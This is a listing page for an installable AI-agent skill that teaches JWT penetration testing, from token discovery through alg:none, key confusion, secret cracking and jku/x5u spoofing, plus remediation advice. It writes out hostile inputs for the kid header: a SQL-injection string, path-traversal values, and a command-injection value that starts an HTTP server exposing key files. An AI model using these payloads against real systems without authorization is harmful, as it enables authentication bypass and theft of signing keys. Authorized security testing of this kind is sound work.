# JWT Pentest

> How to assess JWT (JSON Web Token) security vulnerabilities in web applications. Use this skill whenever the user mentions JWT tokens, JSON Web Tokens, token security, authentication bypass, session hijacking, or needs to test JWT implementations for vulnerabilities like signature bypass, algorithm confusion, or key exposure. This skill covers the complete JWT assessment workflow from reconnaissance to exploitation.

- Skill: `abelrguezr/jwt-pentest` (Agent Skill, multi-file: 6 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/jwt-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/jwt-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/jwt-pentest

---


# JWT Pentesting Skill

A comprehensive guide for assessing JSON Web Token security in web applications.

## Quick Assessment Workflow

Follow this systematic approach when evaluating JWT implementations:

### 1. Scope the Session Control

Identify which tokens actually gate authorization:

- Pick a user-specific request (profile, billing, admin actions)
- Remove cookies/headers one at a time until the request is rejected
- Note which token(s) are required for authorization

### 2. Locate JWTs in Traffic

JWTs commonly appear in:
- `Authorization: Bearer <JWT>` header
- Custom headers (e.g., `X-Auth-Token`)
- Cookies (e.g., `session`, `auth_token`)

**Search patterns for Burp Site Map:**
```
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*
```

### 3. Decode and Enumerate

Use `jwt_tool` or Burp JWT Editor to inspect:

```bash
python3 jwt_tool.py <JWT_TOKEN>
```

**Key fields to note:**
- `alg`: Algorithm (HS256, RS256, ES256, none)
- `exp`: Expiration time
- `kid`: Key ID (potential attack vector)
- `jku`/`x5u`: Remote key URLs (SSRF potential)
- Authn/authz claims: `role`, `id`, `username`, `email`, `sub`

### 4. Signature Enforcement Check

**Quick test:** Flip or delete bytes in the signature portion and replay.

- **Accepted** → Missing signature validation (critical vulnerability)
- **Rejected** → Signature is being checked (proceed to other attacks)

## Attack Patterns

### Pattern 1: Signature Bypass (No Verification)

**When to try:** After confirming signature is checked, test if tampering works.

**Steps:**
1. Decode the JWT
2. Modify payload claims (e.g., change `role: user` to `role: admin`)
3. Keep the original signature unchanged
4. Send the modified token

**Success indicator:** Server accepts the tampered token without re-verification.

### Pattern 2: Algorithm None Attack

**When to try:** Token uses any algorithm, server may not enforce algorithm.

**Steps:**
1. Set `alg` header to `none` or `None`
2. Remove the signature portion entirely
3. Send the unsigned token

**Burp JWT Editor:** Use the built-in "none" algorithm attack.

### Pattern 3: HMAC Key Confusion (RS256 → HS256)

**When to try:** Token uses RS256 (asymmetric) and you have access to the public key.

**Concept:** Change algorithm from RS256 to HS256. The server will use the public key as the HMAC secret.

**Steps:**
1. Extract the RSA public key from:
   - `/.well-known/jwks.json`
   - Server certificate
   - JWKS endpoint

2. Change `alg` from `RS256` to `HS256`

3. Re-sign the token using the public key as the secret

**Using Burp JWT Editor:**
- Import the RSA public key
- Run **Attack → HMAC Key Confusion Attack**

**Using jwt_tool:**
```bash
python3 jwt_tool.py <JWT> -M at  # All tests mode
```

### Pattern 4: Secret Key Brute Force

**When to try:** Token uses HS256 with a weak secret.

**Steps:**
1. Export the JWT to a file
2. Run offline cracking:

```bash
# Using jwt_tool
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt

# Using hashcat (GPU-accelerated)
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
```

3. Once secret is recovered, re-sign modified claims with the discovered secret.

### Pattern 5: Kid Manipulation

**When to try:** Token has a `kid` header claim.

**Attack vectors:**

#### 5a. Key File Discovery

Search for the key file referenced by `kid`:

```bash
# If kid is "key/12345", try:
GET /key/12345
GET /key/12345.pem
GET /keys/12345
GET /public/12345.pem
```

#### 5b. Path Traversal

Attempt to traverse to files with known content:

```bash
# Using jwt_tool
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# Target /proc/sys/kernel/randomize_va_space (contains "2")
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
```

#### 5c. SQL Injection

If `kid` is used in database queries:

```
non-existent-index' UNION SELECT 'ATTACKER';-- -
```

#### 5d. OS Command Injection

If `kid` is used in command execution:

```
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
```

### Pattern 6: JWKS Spoofing (jku/x5u)

**When to try:** Token has `jku` (JWK Set URL) or `x5u` (X.509 URL) header.

**Concept:** Server fetches keys from remote URL. Point it to your controlled server.

**Steps:**
1. Create your own key pair:

```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
```

2. Host a JWKS file at your controlled URL:

```json
{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "n": "<base64-encoded-n>",
      "e": "AQAB"
    }
  ]
}
```

3. Modify the token's `jku` or `x5u` to point to your JWKS
4. Re-sign with your private key
5. Send the forged token

**Using Burp Collaborator:**
- Use **JWT Editor → Attack → Embed Collaborator payload**
- Any callback confirms SSRF-style key retrieval

### Pattern 7: Embedded Public Key (CVE-2018-0114)

**When to try:** Token has embedded public key in header.

**Steps:**
1. Generate new key pair:

```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
```

2. Extract `n` and `e` from your public key
3. Embed your public key in the token header
4. Re-sign with your private key

### Pattern 8: x5c Certificate Chain Attack

**When to try:** Token has `x5c` header with certificate chain.

**Steps:**
1. Generate self-signed certificate:

```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  -keyout attacker.key -out attacker.crt
```

2. Extract certificate in base64
3. Replace `x5c` value with your certificate
4. Re-sign with your private key

### Pattern 9: Token Replay

**When to try:** Token has short `jti` (JWT ID) or no expiration check.

**Scenarios:**
- `jti` has limited length (e.g., 4 digits: 0001-9999)
- Token has `exp` claim but server doesn't enforce it
- Token never expires

**Test:**
1. Capture a valid token
2. Wait for expiration time to pass
3. Replay the token
4. If accepted, the server doesn't check expiration

### Pattern 10: Cross-Service Relay

**When to try:** Multiple services share JWT infrastructure.

**Steps:**
1. Sign up on a different service using the same JWT provider
2. Obtain a token from the other service
3. Attempt to use it on the target service
4. If accepted, tokens are shared across services

## Tool Usage

### jwt_tool

```bash
# Decode and analyze
python3 jwt_tool.py <JWT>

# All attack tests (automated)
python3 jwt_tool.py -M at -t "https://api.example.com" -rh "Authorization: Bearer <JWT>"

# Offline secret cracking
python3 jwt_tool.py <JWT> -C -d wordlist.txt

# JWKS spoofing test
python3 jwt_tool.py <JWT> -X s

# Tamper header claim
python3 jwt_tool.py <JWT> -I -hc <header_name> -hv <header_value>
```

### Burp JWT Editor

**Key features:**
- Decode/encode JWTs in Repeater
- Generate custom keys (RSA, ECDSA, HMAC)
- Built-in attacks:
  - Algorithm `none` attack
  - HMAC key confusion attack
  - Embedded JWK attack
  - jku/x5u Collaborator payloads

**Workflow:**
1. Send request to Repeater
2. Open JWT Editor tab
3. Modify claims or run attacks
4. Send modified request

### hashcat

```bash
# HS256 cracking (mode 16500)
hashcat -a 0 -m 16500 jwt.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# With GPU acceleration
hashcat -a 0 -m 16500 jwt.txt wordlist.txt --force
```

## Common Vulnerability Indicators

| Symptom | Likely Vulnerability |
|---------|---------------------|
| Token accepted after signature modification | No signature verification |
| Token accepted with `alg: none` | Algorithm enforcement missing |
| RS256 token accepted with HS256 signature | Key confusion vulnerability |
| `kid` points to accessible file | Key exposure |
| `jku`/`x5u` triggers callback | SSRF in key retrieval |
| Expired token still works | No expiration check |
| Same token works on different services | Cross-service relay |

## Reporting Findings

When documenting JWT vulnerabilities:

1. **Include the original token** (redact sensitive claims if needed)
2. **Show the modified token** that demonstrates the vulnerability
3. **Explain the impact** (privilege escalation, authentication bypass, etc.)
4. **Provide reproduction steps**
5. **Suggest remediation**:
   - Always verify signatures
   - Enforce algorithm whitelist (never allow `none`)
   - Use strong, random secrets for HMAC
   - Validate `kid` against allowlist
   - Implement proper expiration checks
   - Use separate keys per service

## Quick Reference

**Most common vulnerabilities (in order of frequency):**
1. No signature verification
2. Algorithm `none` accepted
3. Weak HMAC secrets
4. Key confusion (RS256 → HS256)
5. Kid manipulation
6. JWKS/x5u SSRF

**First tests to run:**
1. Tamper payload, keep signature
2. Set algorithm to `none`
3. Run `jwt_tool -M at`
4. Check for `kid`, `jku`, `x5u` headers
5. Test expiration bypass

